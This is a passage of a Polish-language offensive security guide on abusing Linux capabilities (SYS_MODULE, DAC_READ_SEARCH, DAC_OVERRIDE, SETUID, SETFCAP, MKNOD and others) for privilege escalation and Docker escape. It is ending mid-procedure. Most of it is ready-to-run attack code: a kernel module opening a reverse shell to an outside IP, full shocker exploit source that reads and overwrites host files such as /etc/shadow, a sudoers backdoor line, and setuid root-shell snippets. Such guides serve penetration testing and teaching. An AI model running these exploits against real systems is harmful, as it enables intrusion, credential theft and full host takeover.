Utwórz moduł jądra, który będzie wykonywał powłokę odwrotną oraz Makefile, aby go skompilować:

reverse-shell.c

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Makefile

obj-m +=reverse-shell.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Pusty znak przed każdym słowem make w pliku Makefile musi być tabulatorem, a nie spacjami!

Wykonaj make, aby skompilować.

ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory.  Stop.

sudo apt update
sudo apt full-upgrade

W końcu uruchom nc w jednej powłoce i załaduj moduł z innej, a przechwycisz powłokę w procesie nc:

#Shell 1
nc -lvnp 4444

#Shell 2
insmod reverse-shell.ko #Launch the reverse shell

Kod tej techniki został skopiowany z laboratorium "Abusing SYS_MODULE Capability" z https://www.pentesteracademy.com/

Inny przykład tej techniki można znaleźć w https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host

CAP_DAC_READ_SEARCH

CAP_DAC_READ_SEARCH umożliwia procesowi ominięcie uprawnień do odczytu plików oraz do odczytu i wykonywania katalogów. Jego główne zastosowanie dotyczy wyszukiwania lub odczytu plików. Jednak pozwala również procesowi na użycie funkcji open_by_handle_at(2), która może uzyskać dostęp do dowolnego pliku, w tym tych poza przestrzenią montowania procesu. Uchwycony użyty w open_by_handle_at(2) powinien być nieprzezroczystym identyfikatorem uzyskanym za pomocą name_to_handle_at(2), ale może zawierać wrażliwe informacje, takie jak numery i-node, które są podatne na manipulacje. Potencjał do wykorzystania tej zdolności, szczególnie w kontekście kontenerów Docker, został zaprezentowany przez Sebastiana Krahmera w exploicie shocker, jak analizowano tutaj. Oznacza to, że możesz ominięcie kontroli uprawnień do odczytu plików oraz kontroli uprawnień do odczytu/wykonywania katalogów.

Przykład z binarnym

Binarne będzie mogło odczytać dowolny plik. Więc, jeśli plik taki jak tar ma tę zdolność, będzie mógł odczytać plik shadow:

cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
tar -cxf shadow.tar.gz

Przykład z binary2

W tym przypadku załóżmy, że binarka python ma tę zdolność. Aby wylistować pliki roota, możesz zrobić:

import os
for r, d, f in os.walk('/root'):
for filename in f:
print(filename)

Aby odczytać plik, możesz zrobić:

print(open("/etc/shadow", "r").read())

Przykład w środowisku (wyjście z Dockera)

Możesz sprawdzić włączone możliwości wewnątrz kontenera dockera, używając:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

W poprzednim wyjściu można zobaczyć, że zdolność DAC_READ_SEARCH jest włączona. W rezultacie kontener może debugować procesy.

Możesz dowiedzieć się, jak działa poniższe wykorzystanie w https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3, ale w skrócie CAP_DAC_READ_SEARCH nie tylko pozwala nam przechodzić przez system plików bez sprawdzania uprawnień, ale także wyraźnie usuwa wszelkie kontrole do open_by_handle_at(2) i może pozwolić naszemu procesowi na dostęp do wrażliwych plików otwartych przez inne procesy.

Oryginalny exploit, który wykorzystuje te uprawnienia do odczytu plików z hosta, można znaleźć tutaj: http://stealth.openwall.net/xSports/shocker.c, poniżej znajduje się zmodyfikowana wersja, która pozwala wskazać plik, który chcesz odczytać jako pierwszy argument i zrzucić go do pliku.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};

void die(const char *msg)
{
perror(msg);
exit(errno);
}

void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}

int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}

++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}

fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}


int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};

fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");

read(0, buf, 1);

// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");

if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");

fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);

if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");

memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");

printf("Success!!\n");

FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);

close(fd2); close(fd1);

return 0;
}

Eksploit musi znaleźć wskaźnik do czegoś zamontowanego na hoście. Oryginalny exploit używał pliku /.dockerinit, a ta zmodyfikowana wersja używa /etc/hostname. Jeśli exploit nie działa, być może musisz ustawić inny plik. Aby znaleźć plik, który jest zamontowany w hoście, wystarczy wykonać polecenie mount:

Kod tej techniki został skopiowany z laboratorium "Abusing DAC_READ_SEARCH Capability" z https://www.pentesteracademy.com/

​

​​​​​​​​​​​RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa w każdej dziedzinie.

RootedCONRootedCON

CAP_DAC_OVERRIDE

To oznacza, że możesz obejść kontrole uprawnień do zapisu w dowolnym pliku, więc możesz zapisać dowolny plik.

Jest wiele plików, które możesz nadpisać, aby zwiększyć uprawnienia, możesz znaleźć pomysły tutaj.

Przykład z binarnym

W tym przykładzie vim ma tę zdolność, więc możesz modyfikować dowolny plik, taki jak passwd, sudoers lub shadow:

getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep

vim /etc/sudoers #To overwrite it

Przykład z binarnym 2

W tym przykładzie python będzie miał tę zdolność. Możesz użyć pythona do nadpisania dowolnego pliku:

file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()

Przykład z środowiskiem + CAP_DAC_READ_SEARCH (wyjście z Dockera)

Możesz sprawdzić włączone możliwości wewnątrz kontenera dockera, używając:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Najpierw przeczytaj poprzednią sekcję, która wykorzystuje zdolność DAC_READ_SEARCH do odczytu dowolnych plików hosta i skompiluj exploit. Następnie skompiluj następującą wersję exploita shocker, która pozwoli ci zapisywać dowolne pliki w systemie plików hosta:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}

Aby wydostać się z kontenera docker, możesz pobrać pliki /etc/shadow i /etc/passwd z hosta, dodać do nich nowego użytkownika i użyć shocker_write, aby je nadpisać. Następnie uzyskaj dostęp przez ssh.

Kod tej techniki został skopiowany z laboratorium "Abusing DAC_OVERRIDE Capability" z https://www.pentesteracademy.com

CAP_CHOWN

Oznacza to, że możliwe jest zmienienie właściciela dowolnego pliku.

Przykład z binarnym

Załóżmy, że binarny python ma tę zdolność, możesz zmienić właściciela pliku shadow, zmienić hasło roota i eskalować uprawnienia:

python -c 'import os;os.chown("/etc/shadow",1000,1000)'

Lub z binarnym plikiem ruby mającym tę zdolność:

ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'

CAP_FOWNER

Oznacza to, że możliwe jest zmienienie uprawnień dowolnego pliku.

Przykład z binarnym

Jeśli python ma tę zdolność, możesz zmodyfikować uprawnienia pliku shadow, zmienić hasło roota i eskalować uprawnienia:

python -c 'import os;os.chmod("/etc/shadow",0666)

CAP_SETUID

Oznacza to, że możliwe jest ustawienie efektywnego identyfikatora użytkownika utworzonego procesu.

Przykład z binarnym

Jeśli python ma tę zdolność, możesz bardzo łatwo to wykorzystać do eskalacji uprawnień do roota:

import os
os.setuid(0)
os.system("/bin/bash")

Inny sposób:

import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")

CAP_SETGID

Oznacza to, że możliwe jest ustawienie efektywnego identyfikatora grupy utworzonego procesu.

Jest wiele plików, które możesz nadpisać, aby zwiększyć uprawnienia, możesz zaczerpnąć pomysły stąd.

Przykład z binarką

W tym przypadku powinieneś szukać interesujących plików, które grupa może odczytać, ponieważ możesz udawać dowolną grupę:

#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null

Gdy znajdziesz plik, który możesz wykorzystać (poprzez odczyt lub zapis) do eskalacji uprawnień, możesz uzyskać powłokę, udając interesującą grupę za pomocą:

import os
os.setgid(42)
os.system("/bin/bash")

W tym przypadku grupa shadow została podszyta, więc możesz odczytać plik /etc/shadow:

cat /etc/shadow

Jeśli docker jest zainstalowany, możesz udawać grupę docker i nadużyć jej, aby komunikować się z gniazdem docker i eskalować uprawnienia.

CAP_SETFCAP

Oznacza to, że możliwe jest ustawienie możliwości na plikach i procesach

Przykład z binarką

Jeśli python ma tę możliwość, możesz bardzo łatwo nadużyć jej, aby eskalować uprawnienia do roota:

setcapability.py

import ctypes, sys

#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")

libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]

#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)

if(status == 0):
print (cap + " was successfully added to " + path)

python setcapability.py /usr/bin/python2.7

Zauważ, że jeśli ustawisz nową zdolność dla binarnego pliku z CAP_SETFCAP, stracisz tę zdolność.

Gdy masz zdolność SETUID, możesz przejść do jej sekcji, aby zobaczyć, jak eskalować uprawnienia.

Przykład z środowiskiem (wyjście z Dockera)

Domyślnie zdolność CAP_SETFCAP jest przyznawana procesowi wewnątrz kontenera w Dockerze. Możesz to sprawdzić, wykonując coś takiego:

cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000

capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

Ta zdolność pozwala na przyznanie dowolnej innej zdolności binarnym, więc możemy pomyśleć o ucieczce z kontenera wykorzystując dowolne inne wyłomy zdolności wspomniane na tej stronie. Jednakże, jeśli spróbujesz przyznać na przykład zdolności CAP_SYS_ADMIN i CAP_SYS_PTRACE binarnemu gdb, odkryjesz, że możesz je przyznać, ale binarne nie będzie mogło się wykonać po tym:

getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip

setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb

/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted

From the docs: Permitted: To jest ograniczający nadzbiór dla efektywnych możliwości, które wątek może przyjąć. Jest to również ograniczający nadzbiór dla możliwości, które mogą być dodane do zestawu dziedziczonego przez wątek, który nie ma możliwości CAP_SETPCAP w swoim efektywnym zestawie. Wygląda na to, że możliwości dozwolone ograniczają te, które mogą być używane. Jednak Docker również domyślnie przyznaje CAP_SETPCAP, więc możesz być w stanie ustawić nowe możliwości w dziedziczonych. Jednak w dokumentacji tej możliwości: CAP_SETPCAP : […] dodaje każdą możliwość z ograniczonego zestawu wątku wywołującego do jego zestawu dziedziczonego. Wygląda na to, że możemy tylko dodawać do zestawu dziedziczonego możliwości z zestawu ograniczonego. Co oznacza, że nie możemy umieścić nowych możliwości, takich jak CAP_SYS_ADMIN lub CAP_SYS_PTRACE w zestawie dziedzicznym, aby eskalować uprawnienia.

CAP_SYS_RAWIO

CAP_SYS_RAWIO zapewnia szereg wrażliwych operacji, w tym dostęp do /dev/mem, /dev/kmem lub /proc/kcore, modyfikację mmap_min_addr, dostęp do wywołań systemowych ioperm(2) i iopl(2), oraz różne polecenia dyskowe. FIBMAP ioctl(2) jest również włączone za pomocą tej możliwości, co spowodowało problemy w przeszłości. Zgodnie z dokumentacją, umożliwia to również posiadaczowi opisowe wykonywanie szeregu operacji specyficznych dla urządzeń na innych urządzeniach.

Może to być przydatne do eskalacji uprawnień i wyjścia z Dockera.

CAP_KILL

To oznacza, że możliwe jest zabicie dowolnego procesu.

Przykład z binarnym

Załóżmy, że python ma tę możliwość. Jeśli mógłbyś również zmodyfikować jakąś konfigurację usługi lub gniazda (lub jakikolwiek plik konfiguracyjny związany z usługą), mógłbyś wprowadzić tylne drzwi, a następnie zabić proces związany z tą usługą i czekać na wykonanie nowego pliku konfiguracyjnego z twoimi tylnymi drzwiami.

#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)

Privesc z kill

Jeśli masz uprawnienia kill i działa program node jako root (lub jako inny użytkownik), prawdopodobnie możesz wysłać mu sygnał SIGUSR1 i sprawić, że otworzy debugger node, do którego możesz się połączyć.

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

Node inspector/CEF debug abuse

​

​​​​​​​​​​​​RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.

RootedCONRootedCON

CAP_NET_BIND_SERVICE

Oznacza to, że możliwe jest nasłuchiwanie na dowolnym porcie (nawet na portach uprzywilejowanych). Nie można bezpośrednio eskalować uprawnień za pomocą tej zdolności.

Przykład z binarnym

Jeśli python ma tę zdolność, będzie mógł nasłuchiwać na dowolnym porcie i nawet łączyć się z niego z innym portem (niektóre usługi wymagają połączeń z portów o określonych uprawnieniach)

Listen

import socket
s=socket.socket()
s.bind(('0.0.0.0', 80))
s.listen(1)
conn, addr = s.accept()
while True:
output = connection.recv(1024).strip();
print(output)

Połączenie

import socket
s=socket.socket()
s.bind(('0.0.0.0',500))
s.connect(('10.10.10.10',500))

CAP_NET_RAW

CAP_NET_RAW uprawnienie pozwala procesom na tworzenie gniazd RAW i PACKET, co umożliwia generowanie i wysyłanie dowolnych pakietów sieciowych. Może to prowadzić do zagrożeń bezpieczeństwa w środowiskach kontenerowych, takich jak fałszowanie pakietów, wstrzykiwanie ruchu i omijanie kontroli dostępu do sieci. Złośliwi aktorzy mogą to wykorzystać do zakłócania routingu kontenerów lub kompromitacji bezpieczeństwa sieci hosta, szczególnie bez odpowiednich zabezpieczeń zapory. Dodatkowo, CAP_NET_RAW jest kluczowe dla uprzywilejowanych kontenerów, aby wspierać operacje takie jak ping za pomocą żądań RAW ICMP.

To oznacza, że możliwe jest podsłuchiwanie ruchu. Nie możesz bezpośrednio eskalować uprawnień za pomocą tego uprawnienia.

Przykład z binarką

Jeśli binarka tcpdump ma to uprawnienie, będziesz mógł jej użyć do przechwytywania informacji sieciowych.

getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep

Zauważ, że jeśli środowisko przyznaje tę zdolność, możesz również użyć tcpdump, aby podsłuchiwać ruch.

Przykład z binarnym 2

Poniższy przykład to kod python2, który może być przydatny do przechwytywania ruchu interfejsu "lo" (localhost). Kod pochodzi z laboratorium "Podstawy: CAP-NET_BIND + NET_RAW" z https://attackdefense.pentesteracademy.com/

import socket
import struct

flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]

def getFlag(flag_value):
flag=""
for i in xrange(8,-1,-1):
if( flag_value & 1 <<i ):
flag= flag + flags[8-i] + ","
return flag[:-1]

s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind(("lo",0x0003))

flag=""
count=0
while True:
frame=s.recv(4096)
ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
proto=ip_header[6]
ip_header_size = (ip_header[0] & 0b1111) * 4
if(proto==6):
protocol="TCP"
tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
dst_port=tcp_header[0]
src_port=tcp_header[1]
flag=" FLAGS: "+getFlag(tcp_header[4])

elif(proto==17):
protocol="UDP"
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
dst_port=udp_header[0]
src_port=udp_header[1]

if (proto == 17 or proto == 6):
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
count=count+1

CAP_NET_ADMIN + CAP_NET_RAW

CAP_NET_ADMIN uprawnienie daje posiadaczowi moc zmiany konfiguracji sieci, w tym ustawień zapory, tabel routingu, uprawnień gniazd oraz ustawień interfejsów sieciowych w ramach wystawionych przestrzeni nazw sieci. Umożliwia również włączenie trybu promiskuitywnego na interfejsach sieciowych, co pozwala na sniffing pakietów w różnych przestrzeniach nazw.

Przykład z binarką

Załóżmy, że binarka python ma te uprawnienia.

#Dump iptables filter table rules
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)

#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')

CAP_LINUX_IMMUTABLE

Oznacza to, że możliwe jest modyfikowanie atrybutów inode. Nie możesz bezpośrednio eskalować uprawnień za pomocą tej zdolności.

Przykład z binarnym

Jeśli odkryjesz, że plik jest niemodyfikowalny, a python ma tę zdolność, możesz usunąć atrybut niemodyfikowalności i uczynić plik modyfikowalnym:

#Check that the file is imutable
lsattr file.sh
----i---------e--- backup.sh

#Pyhton code to allow modifications to the file
import fcntl
import os
import struct

FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602

fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)

f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')

Zauważ, że zazwyczaj ten atrybut niemutowalny jest ustawiany i usuwany za pomocą:

sudo chattr +i file.txt
sudo chattr -i file.txt

CAP_SYS_CHROOT

CAP_SYS_CHROOT umożliwia wykonanie wywołania systemowego chroot(2), co potencjalnie pozwala na ucieczkę z środowisk chroot(2) poprzez znane luki:

• Jak wydostać się z różnych rozwiązań chroot

• chw00t: narzędzie do ucieczki z chroot

CAP_SYS_BOOT

CAP_SYS_BOOT nie tylko pozwala na wykonanie wywołania systemowego reboot(2) w celu ponownego uruchomienia systemu, w tym na konkretne polecenia, takie jak LINUX_REBOOT_CMD_RESTART2 dostosowane do określonych platform sprzętowych, ale także umożliwia użycie kexec_load(2) oraz, od wersji Linux 3.17, kexec_file_load(2) do ładowania nowych lub podpisanych jąder awaryjnych.

CAP_SYSLOG

CAP_SYSLOG został oddzielony od szerszego CAP_SYS_ADMIN w Linux 2.6.37, przyznając konkretną możliwość użycia wywołania syslog(2). Ta zdolność umożliwia przeglądanie adresów jądra za pośrednictwem /proc i podobnych interfejsów, gdy ustawienie kptr_restrict wynosi 1, co kontroluje ujawnianie adresów jądra. Od Linux 2.6.39 domyślna wartość dla kptr_restrict wynosi 0, co oznacza, że adresy jądra są ujawniane, chociaż wiele dystrybucji ustawia to na 1 (ukryj adresy z wyjątkiem uid 0) lub 2 (zawsze ukrywaj adresy) z powodów bezpieczeństwa.

Dodatkowo, CAP_SYSLOG pozwala na dostęp do wyjścia dmesg, gdy dmesg_restrict jest ustawione na 1. Pomimo tych zmian, CAP_SYS_ADMIN zachowuje możliwość wykonywania operacji syslog z powodu historycznych precedensów.

CAP_MKNOD

CAP_MKNOD rozszerza funkcjonalność wywołania systemowego mknod poza tworzenie zwykłych plików, FIFO (nazwanych potoków) lub gniazd domeny UNIX. Specjalnie pozwala na tworzenie plików specjalnych, które obejmują:

• S_IFCHR: Pliki specjalne znakowe, które są urządzeniami takimi jak terminale.

• S_IFBLK: Pliki specjalne blokowe, które są urządzeniami takimi jak dyski.

Ta zdolność jest niezbędna dla procesów, które wymagają możliwości tworzenia plików urządzeń, ułatwiając bezpośrednią interakcję z hardwarem poprzez urządzenia znakowe lub blokowe.

Jest to domyślna zdolność dockera (https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19).

Ta zdolność pozwala na eskalację uprawnień (poprzez pełne odczytywanie dysku) na hoście, pod tymi warunkami:

1. Mieć początkowy dostęp do hosta (bez uprawnień).

2. Mieć początkowy dostęp do kontenera (z uprawnieniami (EUID 0) i efektywnym CAP_MKNOD).

3. Host i kontener powinny dzielić tę samą przestrzeń nazw użytkowników.

Kroki do utworzenia i uzyskania dostępu do urządzenia blokowego w kontenerze:

1. Na hoście jako standardowy użytkownik:

• Określ swój aktualny identyfikator użytkownika za pomocą id, np. uid=1000(standarduser).

• Zidentyfikuj docelowe urządzenie, na przykład /dev/sdb.

2. Wewnątrz kontenera jako root:

# Create a block special file for the host device
mknod /dev/sdb b 8 16
# Set read and write permissions for the user and group
chmod 660 /dev/sdb
# Add the corresponding standard user present on the host
useradd -u 1000 standarduser
# Switch to the newly created user
su standarduser

3. Z powrotem na hoście:

# Locate the PID of the container process owned by "standarduser"
# This is an illustrative example; actual command might vary
